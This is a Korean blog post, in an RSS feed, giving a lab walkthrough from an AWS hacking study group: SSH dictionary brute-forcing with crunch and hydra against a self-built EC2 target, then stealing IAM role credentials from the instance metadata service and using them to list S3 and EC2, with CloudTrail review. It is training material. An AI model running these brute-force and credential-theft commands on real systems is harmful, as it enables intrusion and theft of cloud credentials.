      <pubDate>Fri, 30 Aug 2024 11:15:38 +0900</pubDate>
    </item>
    <item>
      <title>[2주차] IAM 취약점 및 보안</title>
      <link>https://reteu.tistory.com/59</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 40px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 40px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 40px;&quot;&gt;&lt;span style=&quot;color: #ffffff; text-align: start;&quot;&gt;  해당 포스트는 CloudNet@의 서종호 (Gasida) 님께서 진행하시는 AHSS (AWS Hacking &amp;amp; Security Study) 1기의 강의 내용을 바탕으로 작성되었습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 저번 주에 이어 이번주에는 IAM에 의해 발생할 수 있는 취약점에 대해 살펴보고, 이를 어떻게 보완할 수 있는지에 대해 살펴봅시다. IAM (Identity and Access Management)는 AWS에서 제공하는 웹 서비스로서, AWS 리소스에 대한 접근 제어와 권한 관리를 통해 AWS 리소스에 대한 보안 수준을 강화하는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 2주차 실습을 위한 환경을 세팅해보겠습니다. AWS Cloudshell에서 아래의 명령어를 입력하셔도 되고, 하단의 첨부파일을 다운받아 적용하셔도 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1694328238418&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 변수 지정
KEYNAME=&amp;lt;각자 자신의 SSH Keypair Name&amp;gt;

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-ec2_2ea.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file ahss-ec2_2ea.yaml --stack-name iamlab --parameter-overrides KeyName=$KEYNAME --region ap-northeast-2 --capabilities CAPABILITY_NAMED_IAM

# CloudFormation 스택 배포 완료 후 EC2 2대 IP 출력
aws cloudformation describe-stacks --stack-name iamlab --query 'Stacks[*].Outputs[*].OutputValue' --output text
 
# 각각 EC2 SSH 접속 : 아래 키파일 경로는 자신의 환경에 맞게 변경하자!
ssh -i ~/.ssh/kp-gasida.pem ec2-user@&amp;lt;위 출력 IP&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2주차 실습을 위한 템플릿 파일은 아래에서 다운받을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/dbtAfv/btstnwi1DUu/HN1tIZCuXVxTgblmcSKXx0/ahss-ec2_2ea.yaml?attach=1&amp;amp;knm=tfile.yaml&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;ahss-ec2_2ea.yaml&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.01MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 위의 템플릿을 정상적으로 적용하면 아래와 같이 두 개의 EC2 인스턴스가 생성된 것을 확인할 수 있습니다. 대시보드 상에 표시되는 퍼블릭 ipv4 주소를 이용하여 인스턴스에 접근해봅시다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBBeJq/btstqEClcHw/6NIqNnvOKKk6Vbx33vfDg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBBeJq/btstqEClcHw/6NIqNnvOKKk6Vbx33vfDg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBBeJq/btstqEClcHw/6NIqNnvOKKk6Vbx33vfDg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBBeJq%2FbtstqEClcHw%2F6NIqNnvOKKk6Vbx33vfDg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1391&quot; height=&quot;263&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 각 인스턴스의 퍼블릭 ipv4 주소는 명령어를 입력한 결과, 콘솔에서도 출력됩니다. 둘 중에 편한 방법을 선택하면 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dg8rPQ/btstvSAqCze/5DLb0QpMPVYCzQMDUdGRqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dg8rPQ/btstvSAqCze/5DLb0QpMPVYCzQMDUdGRqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dg8rPQ/btstvSAqCze/5DLb0QpMPVYCzQMDUdGRqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdg8rPQ%2FbtstvSAqCze%2F5DLb0QpMPVYCzQMDUdGRqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1365&quot; height=&quot;315&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 모든 세팅이 끝났습니다. 준비된 환경에서 Password Brutefoce Attack과 Lambda를 이용힌 Reverse Shell 실습을 진행해보도록 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Passphrase Bruteforce Attck (Dictionary Based)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; SSH를 통해 정상적으로 접근하였다면 Webserver의 패스워드를 의도적으로 취약한 문구로 변경한 다음, Attacker 인스턴스에서 해당 서버에 접근을 시도해보도록 하겠습니다. 우선 Webserver에 로그인하기 위한 패스워드를 면경하는 것에서부터 시작해보도록 합시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[@ Webserver]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1694329324568&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 관리자 확인
$ whoami

# SSH 접속 로그 출력
$ more /var/log/secure
$ grep Invalid /var/log/secure

# root 계정의 암호 설정 - 취약한 암호이며 실습 후 바로 해당 EC2를 삭제 할 것
$ passwd
New password: 1212
Retype new password: 1212


# 실시간 로그 출력
$ tail -f /var/log/secure&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 사전 대입 공격 방식을 이용해보도록 하겠습니다. 사전 대입 공격이란, 말 그대로 사전 (dictionary)에 존재하는 어휘들을 무작위적으로 대입해보는 공격 방식을 말하는데, 암호로 자주 사용될만한 단어나 글자 조합을 리스트 업 하고 이를 하나씩 차례대로 대입해보는 공격 방식을 말합니다. 기존의 브루트포싱보다는 조금 더 진보한 방식이라고 할 수 있으며, 사전을 생성하기 위한 대표적인 도구로는 가볍게 사용할 수 있는 crunch tool이 있습니다. crunch는 Kali Linux에도 기본적으로 선탑재되어있을 만큼 유명한 도구이니 잘 알아두도록 합시다. 이제 이 도구를 사용하여 Webserver의 취약한 암호를 브루트포싱해보도록 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[@ Attacker]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1694329717948&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# crunch tool 로 사전 파일 생성 - 참고링크 참고영상
$ cd /root/crunch-3.6
$ ./crunch 4 4 12qw -o 4chars.txt

# 사전 파일 확인, 256개의 암호 생성
$ more 4chars.txt
$ more 4chars.txt |wc -l
  256 
 
# Hydra tool 로 SSH Brute force attack 시도
$ hydra -h
$ hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10   login: root   password: 1212
...

# 리모트 명령 실행
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
$ sshpass -p '1212' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;crunch로 사전을 생성하고, 생성된 사전을 토대로 hydra를 이용해 브루트포싱을 시도해보았습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사전에 암호가 정상적으로 존재한다면 아래와 같이 접속에 성공한 패스워드를 콘솔에 출력해주고 프로그램이 종료됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1965&quot; data-origin-height=&quot;1200&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzAL8n/btstxnmbH9h/IbaZVJ8S1eTQEPmMdzKzLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzAL8n/btstxnmbH9h/IbaZVJ8S1eTQEPmMdzKzLK/img.png&quot; data-alt=&quot;브루트포싱을 시도하자 Webserver (viictim) 로그에 단기간에 여러번의 접속 시도가 있었다며 공격 시도일 수 있다는 경고성 로그가 찍히는 모습을 tail 명령어를 이용하여 실시간으로 확인할 수 있다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzAL8n/btstxnmbH9h/IbaZVJ8S1eTQEPmMdzKzLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzAL8n%2FbtstxnmbH9h%2FIbaZVJ8S1eTQEPmMdzKzLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1965&quot; height=&quot;1200&quot; data-origin-width=&quot;1965&quot; data-origin-height=&quot;1200&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;브루트포싱을 시도하자 Webserver (viictim) 로그에 단기간에 여러번의 접속 시도가 있었다며 공격 시도일 수 있다는 경고성 로그가 찍히는 모습을 tail 명령어를 이용하여 실시간으로 확인할 수 있다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1694330531216&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	                   	         .
                   		         .
                   		         .

[ATTEMPT] target 43.200.255.226 - login &quot;root&quot; - pass &quot;121q&quot; - 19 of 256 [child 8]
[ATTEMPT] target 43.200.255.226 - login &quot;root&quot; - pass &quot;121w&quot; - 20 of 256 [child 9]
[22][ssh] host: 43.200.255.226   login: root   password: 1212
[STATUS] attack finished for 43.200.255.226 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2023-09-10 16:19:16
[root@Attacker crunch-3.6]#&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 방금 생성한 crunch 파일만 열어보면 '1', '2', 'q', 'w' 4개의 문자만 사용하여 사전을 생성하고 있지만, crunch에 전달하는 옵션과 파라미터를 적절히 조절하면 훨씬 다양한 유형의 원소를 생성하도록 할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 또한, crunch를 사용해서 사전을 생성하는 것 이외에도, 인터넷에 공개되어 있는 자주 사용되는 암호 통계 등의 자료를 활용하여 만들어진 자료들을 다운뱓아 hydra에 적용하는 것도 매우 효과적인 공격 방법이 될 수 있습니다. 아래는&amp;nbsp; rockyou.txt와 cupp tool을 활용하는 예시입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1694330854135&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 사전 파일 획득
## (옵션) 구글링 - 최애(자주 쓰는) 암호 Top 10/100 리스트, Kali Linux 등등
## (옵션) Rockyou 대용량 사전 파일 - 일천사백만개 암호 리스트 &amp;gt; 필요한 부분만 별도의 파일로 만들어서 사용
$ cd
$ more /root/rockyou.txt
$ less /root/rockyou.txt
$ wc -l /root/rockyou.txt
  14344394

$ grep password /root/rockyou.txt
$ grep cisco /root/rockyou.txt
$ grep -F '***' /root/rockyou.txt

## (옵션) Cupp tool 개인 정보 기반 암호 리스트 생성 - 참고링크
$ python3 /root/cupp.py -i  &amp;rarr; 뒤 질문은 전부 N 하자
생성된 파일 확인
$ more ~&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 명령어들을 차례대로 입력하여 출력되는 내용을 확인해봅시다. 콘솔에 출력되는 정보들을 토대로 EC2 인스턴스임을 유추할 수 있는 정보들이 담겨있음을 확인해보는 데에 초점을 맞춰야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1694164950794&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아래 정보를 통해 aws ec2 임을 확인
whoami
pwd
ls -al
cat /etc/passwd
uname -a
hostnamectl

# IMDS 정보 확인 : IAM Role 출력값 메모 &amp;gt;&amp;gt; Token은 무엇인가? 유효기간은 얼마인가?
ip route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo

curl -s http://169.254.169.254/latest/meta-data/iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
&quot;Code&quot; : &quot;Success&quot;,
&quot;LastUpdated&quot; : &quot;2023-09-03T11:01:45Z&quot;,
&quot;Type&quot; : &quot;AWS-HMAC&quot;,
&quot;AccessKeyId&quot; : &quot;ASIA5ILF2FJIR4BKWOCU&quot;,
&quot;SecretAccessKey&quot; : &quot;nDhBh3vaq7Q7VEvMO6YI3/yXTeJLDAZUoVipuH8n&quot;,
&quot;Token&quot; : &quot;IQoJb+am3+1qOkHufGzPZeKO6o3JQ1lj1i3k5P/4htsUr9ARd9d4MIQ0nCN0Bc5r ... DTRKwVuWHW755aMwDGjpiQwpnw2Q=&quot;,
&quot;Expiration&quot; : &quot;2023-09-03T17:11:11Z&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6rJGK/btsts6x9ZEP/WyxjlFWqo1dEML8FQzXV2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6rJGK/btsts6x9ZEP/WyxjlFWqo1dEML8FQzXV2K/img.png&quot; data-alt=&quot;요즘은 Xen 안 쓰고 자체적으로 개발한 하이퍼바이저를 사용한다고 들었는데, 아직 사용하고 있나보다...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6rJGK/btsts6x9ZEP/WyxjlFWqo1dEML8FQzXV2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6rJGK%2Fbtsts6x9ZEP%2FWyxjlFWqo1dEML8FQzXV2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;635&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;요즘은 Xen 안 쓰고 자체적으로 개발한 하이퍼바이저를 사용한다고 들었는데, 아직 사용하고 있나보다...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IMDS에 대한 정보는 아래 블로그에 잘 정리되어 있으니 아래 포스트를 참고하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://malwareanalysis.tistory.com/578&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://malwareanalysis.tistory.com/578&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1694167799785&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;pkos 스터디 5주차 1편 -  AWS EC2 인스턴스 메타데이터&quot; data-og-description=&quot;5주 차에서는 첫 번째 주제는 AWS EC2 인스턴스 메타데이터입니다. EC2 인스턴스 메타데이터 개념 인스턴스 메타데이터는 공식문서에서 소개한 것처럼 실행중인 EC2인스턴스 메타데이터입니다. 예&quot; data-og-host=&quot;malwareanalysis.tistory.com&quot; data-og-source-url=&quot;https://malwareanalysis.tistory.com/578&quot; data-og-url=&quot;https://malwareanalysis.tistory.com/578&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/brXzqr/hyTPzuNMcT/PlOdVpL9Yl9XzQCKFWHKK1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/jbtVE/hyTPtuA4z8/Xr6E7DidPSDUFSuKKwGtO1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cm1kGT/hyTPGOegkQ/a7LqbGt1DFHhAuKTYmCM1k/img.png?width=2000&amp;amp;height=812&amp;amp;face=0_0_2000_812&quot;&gt;&lt;a href=&quot;https://malwareanalysis.tistory.com/578&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://malwareanalysis.tistory.com/578&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/brXzqr/hyTPzuNMcT/PlOdVpL9Yl9XzQCKFWHKK1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/jbtVE/hyTPtuA4z8/Xr6E7DidPSDUFSuKKwGtO1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cm1kGT/hyTPGOegkQ/a7LqbGt1DFHhAuKTYmCM1k/img.png?width=2000&amp;amp;height=812&amp;amp;face=0_0_2000_812');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;pkos 스터디 5주차 1편 - AWS EC2 인스턴스 메타데이터&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;5주 차에서는 첫 번째 주제는 AWS EC2 인스턴스 메타데이터입니다. EC2 인스턴스 메타데이터 개념 인스턴스 메타데이터는 공식문서에서 소개한 것처럼 실행중인 EC2인스턴스 메타데이터입니다. 예&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;malwareanalysis.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 위의 과정을 통해 피해자의 자격 증명정보를 탈취하였으니, 다음으로는 이를 이용해서 s3, ec2 인스턴스에 접근해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자격 증명 필드에 들어가는 각각의 값은 위의 실습 진행 결과 얻어낸 각자의 victim 인스턴스 정보를 입력하여야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1694172228547&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 자격 증명 없이 사용
aws s3 ls

# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID=&quot;ASIA5ILF2FJIV56CCEH2&quot;
export AWS_SECRET_ACCESS_KEY=&quot;NpvNZl5HKOTQLepywvi/XSkKRX07o5Nes8zCSfNL&quot;
export AWS_SESSION_TOKEN=&quot;pUt323HsR2u9CwOHRz/oZh7Go9ipQwr1WgP ... w4t4w+CeIUBTFXvFTd4L3BYae8apePO8=&quot;

# s3 정보 확인
aws s3 ls

# ec2 정보 확인
aws ec2 describe-instances --region ap-northeast-2 | head

# caller id 확인 : UserId와 Arn 맨 뒤 정보는 어떤 인스턴스ID인가?
aws sts get-caller-identity | jq
{
  &quot;UserId&quot;: &quot;AROA5ILF2FJI34M6UJYV2:i-04e04ce01f4653321&quot;,
  &quot;Account&quot;: &quot;911283464785&quot;,
  &quot;Arn&quot;: &quot;arn:aws:sts::911283464785:assumed-role/IAMLabInstanceRole/i-04e04ce01f4653321&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; Arn 필드의 값에서 가장 마지막에 나타나있는 값 (위의 코드블럭 기준으로는 'i-04e04ce01f4653321')이 타겟 인스턴스의 인스턴스ID이다. 해당 인스턴스에서 일어난 이벤트 로그를 파악하기 위해서는 AWS 콘솔의 Cloudtrail 기능을 사용하면 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1581&quot; data-origin-height=&quot;748&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yMRKk/btstwhfctS3/XOrDKh372kKfqV9rsBJfE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yMRKk/btstwhfctS3/XOrDKh372kKfqV9rsBJfE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yMRKk/btstwhfctS3/XOrDKh372kKfqV9rsBJfE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyMRKk%2FbtstwhfctS3%2FXOrDKh372kKfqV9rsBJfE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1581&quot; height=&quot;748&quot; data-origin-width=&quot;1581&quot; data-origin-height=&quot;748&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 현재는 아무런 이벤트가 발생하지 않았기 때문에 아무런 이벤트도 조회되지 않지만, 발생한 이벤트가 존재한다면, 해당 인스턴스 아이디를 기준으로 sorting한 결과가 아래와 같이 표출된다. 또한 하이라이트 되어있는 개별 이벤트 이름을 클릭하면 자세한 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b49e9S/btstx4fApQf/tOkGSkQ3akEswEh5VKRzp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b49e9S/btstx4fApQf/tOkGSkQ3akEswEh5VKRzp0/img.png&quot; data-origin-width=&quot;1327&quot; data-origin-height=&quot;611&quot; data-is-animation=&quot;false&quot; style=&quot;width: 67.3997%; margin-right: 10px;&quot; data-widthpercent=&quot;68.19&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b49e9S/btstx4fApQf/tOkGSkQ3akEswEh5VKRzp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb49e9S%2Fbtstx4fApQf%2FtOkGSkQ3akEswEh5VKRzp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1327&quot; height=&quot;611&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lnJUv/btstzvRiUlj/LK3v7P4faXkxsaPJklvDT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lnJUv/btstzvRiUlj/LK3v7P4faXkxsaPJklvDT1/img.png&quot; data-origin-width=&quot;1089&quot; data-origin-height=&quot;1075&quot; data-is-animation=&quot;false&quot; style=&quot;width: 31.4375%;&quot; data-widthpercent=&quot;31.81&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lnJUv/btstzvRiUlj/LK3v7P4faXkxsaPJklvDT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlnJUv%2FbtstzvRiUlj%2FLK3v7P4faXkxsaPJklvDT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1089&quot; height=&quot;1075&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
